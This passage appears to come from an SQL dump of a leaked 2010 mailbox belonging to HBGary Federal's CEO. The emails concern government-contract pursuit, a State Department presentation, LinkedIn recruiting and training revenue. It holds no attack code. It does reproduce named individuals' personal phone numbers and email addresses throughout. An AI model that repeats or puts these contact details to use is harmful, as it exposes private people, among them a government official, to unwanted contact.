<jfanguy@digitalmanagement.com>','Re: Phone list','nooooo attachment.On Aug 6, 2010, at 2:57 PM, John Fanguy wrote:Aaron-&nbsp;Attached is the phone list.&nbsp;1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Green row means I have them committed or I’m close; Yellow means I’ve started.&nbsp;2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If you see “Pragmatics” on the left side, they are on the sister contract…Pragmatics is conflicted out.&nbsp; But those folks definitely work along side the KCG people.3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Note some of them are now Feds, which I’ve noted.&nbsp;&nbsp;Any progress you make is GREATLY APPRECIATED!!!&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15867,'aaron_hbgary_com/15867.html'),(9864,'2010-08-06','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007743.M475914P14101Q4719.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Accepted: State Dept Presentation -- HBGary technology and for 	moni... @ Thu Aug 12 11am - 12pm (maria@hbgary.com)','Aaron \r\n \r\nPenny says you will be in California next Thursday and that Rich is unavailable.\r\n \r\nWhat is your schedule?\r\nOn Fri, Aug 6, 2010 at 11:44 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr has accepted this invitation.\r\n\r\nState Dept Presentation -- HBGary technology and for monitoring/detecting/mitigating malware \r\n\r\nAgenda Present HBGary technologies to Al Vaziri at State Dept. -- HBGary approach -- HBGary technology / services \r\n-- HBGary product demonstrations HBGary CTO Rich Cummings HBGary Federal CEO Aaron Barr Al Vaziri Security Tools Architect Network Monitoring Center; DS/SI/CS/ESS Department of State - Bureau of Diplomatic Security \r\nSA-26 / SA-20 Phone: 571-345-2578 @ SA-20 E-Mail: Vaziri-ZanjaniA@State.gov\r\n\r\n\r\n\r\n\r\nWhen\r\nThu Aug 12 11am – 12pm Pacific Time\r\n\r\n\r\nWhere\r\nto be added (map)\r\n\r\n\r\n\r\nCalendar\r\nmaria@hbgary.com\r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n•\r\n\r\n\r\nMaria Lucas - organizer\r\n\r\n•\r\n\r\n\r\nAaron Barr\r\n\r\n•\r\n\r\n\r\nVaziri-ZanjaniA@state.gov\r\n\r\n•\r\n\r\n\r\nRich Cummings\r\n\r\n\r\nInvitation from Google Calendar\r\nYou are receiving this email at the account maria@hbgary.com because you are subscribed for invitation replies on calendar maria@hbgary.com.\r\n\r\nTo stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',7900,'aaron_hbgary_com/7900.html'),(9865,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007743.M676054P14101Q4720.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Accepted: State Dept Presentation -- HBGary technology and for  moni... @ Thu Aug 12 11am - 12pm (maria@hbgary.com)','I was going to California but now a bunch of stuff has popped up and Greg and Penny are out of town so I am going to stay here. &nbsp;I will be available. &nbsp;I can\'t demo very well but I can talk to the product pretty well. &nbsp;I can schedule a webex demo if necessary with Ted or Mark or someone else.AaronOn Aug 6, 2010, at 3:15 PM, Maria Lucas wrote:Aaron \r\n&nbsp;\r\nPenny says you will be in California next Thursday and that Rich is unavailable.\r\n&nbsp;\r\nWhat is your schedule?\r\nOn Fri, Aug 6, 2010 at 11:44 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr has accepted this invitation.\r\n\r\nState Dept Presentation -- HBGary technology and for monitoring/detecting/mitigating malware \r\n\r\nAgenda Present HBGary technologies to Al Vaziri at State Dept. -- HBGary approach -- HBGary technology / services \r\n-- HBGary product demonstrations HBGary CTO Rich Cummings HBGary Federal CEO Aaron Barr Al Vaziri Security Tools Architect Network Monitoring Center; DS/SI/CS/ESS Department of State - Bureau of Diplomatic Security \r\nSA-26 / SA-20 Phone: 571-345-2578 @ SA-20 E-Mail: Vaziri-ZanjaniA@State.gov\r\n\r\n\r\n\r\n\r\nWhen\r\nThu Aug 12 11am – 12pm Pacific Time\r\n\r\n\r\nWhere\r\nto be added (map)\r\n\r\n\r\n\r\nCalendar\r\nmaria@hbgary.com\r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n•\r\n\r\n\r\nMaria Lucas - organizer\r\n\r\n•\r\n\r\n\r\nAaron Barr\r\n\r\n•\r\n\r\n\r\nVaziri-ZanjaniA@state.gov\r\n\r\n•\r\n\r\n\r\nRich Cummings\r\n\r\nInvitation from Google CalendarYou are receiving this email at the account maria@hbgary.com because you are subscribed for invitation replies on calendar maria@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4170,'aaron_hbgary_com/4170.html'),(9866,'2010-08-06','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007743.M943233P14101Q4721.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Phone list','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOops!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 06, 2010 3:06 PM\r\nTo: John Fanguy\r\nSubject: Re: Phone list\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nnooooo attachment.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 6, 2010, at 2:57 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached\r\nis the phone list.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Green row means I have them committed or\r\nI&#8217;m close; Yellow means I&#8217;ve started.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If you see &#8220;Pragmatics&#8221; on the left side,\r\nthey are on the sister contract&#8230;Pragmatics is conflicted out.&nbsp; But those\r\nfolks definitely work along side the KCG people.\r\n\r\n\r\n\r\n\r\n\r\n3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Note some of them are now Feds, which I&#8217;ve\r\nnoted.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny\r\nprogress you make is GREATLY APPRECIATED!!!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5749,'aaron_hbgary_com/5749.html'),(9867,'2010-08-06','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007744.M160250P14101Q4722.eml','aaron@hbgary.com,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,\"Paul Meaney\" <paul.meaney@ngc.com>,rob.wilson@telos.com,robert.sanderson@telos.com,Suzanne.Petrie@TASC.COM,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William Luti\" <wluti@digitalmanagement.com>','PLEASE SEND QUESTIONS FOR GOV\'T NOW...FINAL CALL !','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8209,'aaron_hbgary_com/8209.html'),(9868,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007744.M371352P14101Q4723.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: PLEASE SEND QUESTIONS FOR GOV\'T NOW...FINAL CALL !','Talked with Mantech Eric Eiffert today, had a few other things to discuss, but talked about TSA. &nbsp;One thing they want to do before they make a decision is to try and get some Intel on what KCG is doing. &nbsp;They understand that KCG will no longer be considered a small business but are unsure what the means, who are they going to find to put in front of them, etc.I have a few meetings with Mantech folks next week, including Bill Varner, and will keep on them.Who is engaging from the NGC Civil Side? &nbsp;I would recommend we try and get to Chris Kennedy if you can. &nbsp;He runs one of the civil SOCs (can\'t remember which one). &nbsp;He is very sharp and forward thinking. &nbsp;Also DIX Dallas, very sharp and very connected into DHS at the top.AaronOn Aug 6, 2010, at 3:24 PM, John Fanguy wrote:&nbsp;&nbsp;&nbsp;-John&nbsp;John FanguyVPDigital Management, Inc.\"Leading Government Transformation\"GSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell240-223-4800&nbsp;main&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7660,'aaron_hbgary_com/7660.html'),(9869,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007744.M602613P14101Q4724.eml','\"Ted Vera\" <ted@hbgary.com>','Social Skills','OK I am going to start putting my social skills to the test and start emailing people on Linkedin to see if I can schedule some conversations to talk about opportunities.  Maybe I can get a few people to convert for the right discussion and right price.  Everyone wants to be participating in the solution rather than just being another cog in the wheel right. ;)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4866,'aaron_hbgary_com/4866.html'),(9870,'2010-08-06','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007744.M797511P14101Q4725.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: PLEASE SEND QUESTIONS FOR GOV\'T NOW...FINAL CALL !','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSummary intel on this for your discussions:\r\n\r\n&nbsp;\r\n\r\nKCG definitely is on a team.&nbsp; I met with one of their team leads\r\nwho hates them and he mentioned KCG was talking about their team conceptually.\r\n\r\n&nbsp;\r\n\r\nTSA picked off most of the leads and flipped them in the last 45\r\ndays, prior to this contract letting.&nbsp; While that level of poaching is not\r\nuncommon at TSA, the timing of the RFP release is uncanny.\r\n\r\n&nbsp;\r\n\r\nIt&#8217;s been run as a body-shop contract all along, and transition\r\nisn&#8217;t even mentioned &#8211; which is definitely unusual.&nbsp; Clearly, the gov&#8217;t doesn&#8217;t\r\nthink there&#8217;s a need for transition.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, August 06, 2010 3:34 PM\r\nTo: John Fanguy\r\nCc: William Luti\r\nSubject: Re: PLEASE SEND QUESTIONS FOR GOV\'T NOW...FINAL CALL !\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTalked with Mantech Eric Eiffert today, had a few other\r\nthings to discuss, but talked about TSA. &nbsp;One thing they want to do before\r\nthey make a decision is to try and get some Intel on what KCG is doing.\r\n&nbsp;They understand that KCG will no longer be considered a small business\r\nbut are unsure what the means, who are they going to find to put in front of\r\nthem, etc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a few meetings with Mantech folks next week,\r\nincluding Bill Varner, and will keep on them.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWho is engaging from the NGC Civil Side? &nbsp;I would\r\nrecommend we try and get to Chris Kennedy if you can. &nbsp;He runs one of the\r\ncivil SOCs (can\'t remember which one). &nbsp;He is very sharp and forward\r\nthinking. &nbsp;Also DIX Dallas, very sharp and very connected into DHS at the\r\ntop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 6, 2010, at 3:24 PM, John Fanguy wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-John\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJohn\r\nFanguy\r\n\r\n\r\n\r\n\r\n\r\nVP\r\n\r\n\r\n\r\n\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n\r\n\r\n\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\n\r\n\r\n\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n\r\n\r\n\r\n\r\n--------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n\r\n\r\n\r\n\r\n240-223-4800&nbsp;main\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11051,'aaron_hbgary_com/11051.html'),(9871,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007745.M11998P14101Q4726.eml','\"Greg Hoglund\" <greg@hbgary.com>','Friending Spree','I am starting to go through Linkedin to find people to fill some positions and it seems half of them are linked to you.  Did you go on a friending spree? \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14276,'aaron_hbgary_com/14276.html'),(9872,'2010-08-06','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007745.M217459P14101Q4727.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Friending Spree','not really - i think i have 140 links or so.\r\n \r\n-Greg\r\nOn Fri, Aug 6, 2010 at 12:41 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI am starting to go through Linkedin to find people to fill some positions and it seems half of them are linked to you.  Did you go on a friending spree?\r\nAaron BarrCEOHBGary Federal Inc.\r\n',3520,'aaron_hbgary_com/3520.html'),(9873,'2010-08-06','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007745.M415798P14101Q4728.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Accepted: State Dept Presentation -- HBGary technology and for 	moni... @ Thu Aug 12 11am - 12pm (maria@hbgary.com)','I was thinking Phil could demo remotely if he has notice  -- I have another Webex for Phil to do next Thursday with DigitalGlobe so he couldn&#39;t come onsite\r\n \r\nJoe is going to be at IBM in the am and could possibly have time in the afternoon I don&#39;t want to load Phil up because the DigitalGlobe has alot of work behind it\r\nOn Fri, Aug 6, 2010 at 12:18 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nI was going to California but now a bunch of stuff has popped up and Greg and Penny are out of town so I am going to stay here.  I will be available.  I can&#39;t demo very well but I can talk to the product pretty well.  I can schedule a webex demo if necessary with Ted or Mark or someone else. \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 6, 2010, at 3:15 PM, Maria Lucas wrote:\r\n\r\nAaron \r\n \r\nPenny says you will be in California next Thursday and that Rich is unavailable.\r\n \r\nWhat is your schedule?\r\nOn Fri, Aug 6, 2010 at 11:44 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr has accepted this invitation.\r\n\r\nState Dept Presentation -- HBGary technology and for monitoring/detecting/mitigating malware \r\n\r\nAgenda Present HBGary technologies to Al Vaziri at State Dept. -- HBGary approach -- HBGary technology / services \r\n-- HBGary product demonstrations HBGary CTO Rich Cummings HBGary Federal CEO Aaron Barr Al Vaziri Security Tools Architect Network Monitoring Center; DS/SI/CS/ESS Department of State - Bureau of Diplomatic Security \r\nSA-26 / SA-20 Phone: 571-345-2578 @ SA-20 E-Mail: Vaziri-ZanjaniA@State.gov\r\n\r\n\r\n\r\n\r\nWhen\r\nThu Aug 12 11am – 12pm Pacific Time\r\n\r\n\r\nWhere\r\nto be added (map)\r\n\r\n\r\n\r\nCalendar\r\nmaria@hbgary.com\r\n\r\n\r\nWho\r\n\r\n\r\n\r\n\r\n•\r\n\r\n\r\nMaria Lucas - organizer\r\n\r\n•\r\n\r\n\r\nAaron Barr\r\n\r\n•\r\n\r\n\r\nVaziri-ZanjaniA@state.gov\r\n\r\n•\r\n\r\n\r\nRich Cummings\r\n\r\n\r\nInvitation from Google Calendar\r\nYou are receiving this email at the account maria@hbgary.com because you are subscribed for invitation replies on calendar maria@hbgary.com.\r\n\r\nTo stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',13045,'aaron_hbgary_com/13045.html'),(9874,'2010-08-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007745.M608233P14101Q4729.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Friending Spree','Just getting lucky. &nbsp;I have multiple opportunities to fill RE, malware analysis positions so I am going to be hitting linkednin hard to try and recruit. &nbsp;Let me know if you know anyone.AaronSent from my iPhoneOn Aug 6, 2010, at 3:43 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:not really - i think i have 140 links or so.\r\n&nbsp;\r\n-Greg\r\nOn Fri, Aug 6, 2010 at 12:41 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI am starting to go through Linkedin to find people to fill some positions and it seems half of them are linked to you. &nbsp;Did you go on a friending spree?\r\nAaron BarrCEOHBGary Federal Inc.\r\n',16582,'aaron_hbgary_com/16582.html'),(9875,'2010-08-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007745.M813474P14101Q4730.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Training Dates','Proposed Social Media Training Dates:September2:  Thurs (Full-day)21:  Tues (Half-day)Max Revenue:  $30,625October7:  Thurs (Half-day)\r\n26:  Tues (Full-day)Max Revenue:  $30,625November11:  Thur (Full-day)30:  Tues (Half-day)Max Revenue:  $30,625December\r\n2: Thur (Half-day)14:  Tue (Full-day)Max Revenue:  $30,625Total possible revenue from the schedule above: $122,500.  Assumes 25 students per class.\r\nTed-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',8656,'aaron_hbgary_com/8656.html'),(9876,'2010-08-06','\"John M. Farrell\" <jmfarrell@yahoo.com>','/aaron@hbgary.com/new/1297007746.M1822P14101Q4731.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch Up','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nJohn M. Farrell has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/06/2010\r\n\r\n\r\n  Subject:\r\n  RE: Catch Up\r\n\r\n\r\n\r\n  No worries. I understand completely. I thought i might see you at the DIAC Industry Day today. let me know your schedule next week and I can meet you one day. My new cell # is 301.768.0186. have a great weekend. John\r\n\r\n\r\n\r\nOn 08/06/10 11:41 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHi John,\r\n\r\n\r\n\r\nSorry I have been silent...still doing well but scraping by working to build our pipeline.  Lets get together.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',15931,'aaron_hbgary_com/15931.html'),(9877,'2010-08-06','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297007746.M193547P14101Q4732.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fidelis','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\nIt was great talking to you this morning.&nbsp; I look forward\r\nto working with you.\r\n\r\n&nbsp;\r\n\r\nBest\r\n\r\n&nbsp;\r\n\r\n-tr\r\n\r\n&nbsp;\r\n\r\nToby Richardson\r\n\r\nDirector, Western Region\r\n\r\n&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&lt;&gt;&lt;&nbsp;\r\n\r\nFidelis Security\r\n\r\nDallas, Texas\r\n\r\nPhone:&nbsp; 214.505.3136\r\n\r\n&nbsp;\r\n\r\nhttp://www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It in Action: Fidelis XPS&#8482; Latest\r\nThreat Migitation Features\r\n\r\nRead All About It:&nbsp; Fidelis XPS Prevents\r\nAdvanced Cyber Threats\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9321,'aaron_hbgary_com/9321.html'),(9878,'2010-08-06','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297007746.M398428P14101Q4733.eml','aaron@hbgary.com','Communication and Networking Courses','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	  \r\n	    340 Automated High Frequency Radio; Aug 31 - Sept 2\r\n	    360 Implementing IPv6; Sept 21-24\r\n          350 Wireless Systems and Networks; Nov 30 - Dec 2\r\n          The following courses will be at:&nbsp; WEST-2011, San Diego, CA\r\n          310 Principles of Communications and Networking; Jan 24 - 28, 2011  \r\n          302-11-SDCA-1 Military Satellite Communications in Net-Centric Environment; Jan 25 - 27, 2011 -  Unclassified\r\n          302-11-SDCA-2 Military Satellite Communications in Net-Centric Environment; Jan 28, 2011-\r\n          A secret clearance is required to attend this course. \r\n          320&nbsp;The Reality of Radio Communications on the Ground Battlefield; Jan 26, 2011\r\n          *******************************************************************************************************************\r\n          For full course descriptions, fees, instructor bios, and to register, click on the applicable course number.\r\n          340 Automated High Frequency Radio; Aug 31 - Sept 2\r\n         The objective of this course is to help military officers, government personnel, and industry managers understand the opportunities and challenges presented by HF radio communications and the capability of HF radio technology to provide reliable, economical, long-range communications. \r\n360 Implementing IPv6; Sept 21-24\r\nThis course will meet the basic IPv6 needs of network and system architects, engineers, support personnel, and\r\n  anyone with an interest in the next generation Internet protocol. Attendees should have a general understanding of\r\n  networking concepts, network, infrastructure components, and IPv4.\r\n350 Wireless Systems and Networks; Nov 30 - Dec 2\r\nJoin us to sharpen your skills and knowledge\r\n  of wireless and RF technologies and coding processes. Allow us to &ldquo;demystify&rdquo; some of the myths and realities\r\n  of emerging wireless communication systems.&nbsp; Examine with us the results of industrial and DoD trials of next generation\r\n  broadband highly mobile terrestrial and airborne meshed ad hoc and IP-centric networks.\r\n310 Principles of Communications and Networking; Jan 24 - 28, 2011- WEST-2011&nbsp; \r\n          This course provides an overview of communications and networking theory, using operational and developmental military communications systems to illustrate key principles.  The objective is to provide a mixed technical and nontechnical audience with a conceptually rigorous technical foundation. \r\n          302-11-SDCA-1  Military Satellite Communications in Net-Centric Environment; Jan 25 - 27, 2011-  WEST-2011 -&nbsp;Unclassified.&nbsp;\r\nThis course is designed for military communications systems planners, engineers, managers, operators, system analysts, and decision makers who need a thorough understanding of military satellite communications systems design.&nbsp; A general background in communications is recommended.\r\n302-11-SDCA-2  Military SATCOM in a Net-Centric Environment; Jan 28, 2011-&nbsp;WEST-2011 - \r\nA secret clearance is required to attend this course.&nbsp; \r\nThis is the classified portion of the MILSATCOM course and will be taught in a secure location near the Convention Center. You must take 302-BZ-1 as a prerequisite to this class. \r\n320&nbsp;The Reality of Radio Communications on the Ground Battlefield; Jan 26, 2011 - WEST-2011\r\nIn this course the instructor will cover the basic concepts of radio communications as used by the ground warrior, introduce practical information about radio communications on the modern battlefield and explain and demonstrate state-of-the-art equipment. \r\nOther Courses offered in September 2010:\r\n           203 The U.S. Intelligence Community: Who Does What, With What, For What?\r\nSept 13-15.&nbsp; A secret clearance is required to attend this course.&nbsp;\r\n 755 TEMPEST Professionals Certification Course; Sept 21 - 24. &nbsp; A secret clearance is required to attend this course.&nbsp;\r\n           907  The Ultimate Government Market Research Workshop; Sept 28\r\n           906 The Business of Winning:&nbsp; Seven Steps to Success in Government Contracting; Sept 29-30\r\n          \r\n            For discounted tuition:&nbsp; If you are not already an AFCEA member and want to take advantage of reduced tuitions for members and other benefits, please go to AFCEA International - The Armed Forces Communications and Electronics Association to become 